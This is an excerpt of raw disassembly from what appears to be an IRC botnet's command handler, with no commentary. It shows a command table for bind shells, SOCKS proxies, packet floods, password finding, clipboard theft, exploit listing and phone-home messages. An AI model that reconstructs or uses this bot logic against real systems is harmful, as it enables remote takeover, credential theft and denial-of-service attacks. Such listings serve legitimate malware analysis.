lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser_1 ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAAC ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset dword_42C994
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset dword_42C968
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset dword_42C94C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C940
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C920
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8A4
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C940
push offset dword_42C934
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset dword_42C920
push offset dword_42C914
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset dword_42C880
push offset dword_42C874
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset dword_42C868
push offset dword_42C85C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset dword_42C8A4
push offset dword_42C898
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset dword_42C82C
push offset dword_42C81C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7E8
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset dword_42C82C
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset dword_42C880
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset dword_42C868
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_0 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C574
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C564
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C550
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4EC
push eax
mov dword_4CF180, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C444
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3C4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2670E97h
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
nop
call near ptr 2680972h
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
lea eax, [ebp+var_2C4]
push offset dword_42C34C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
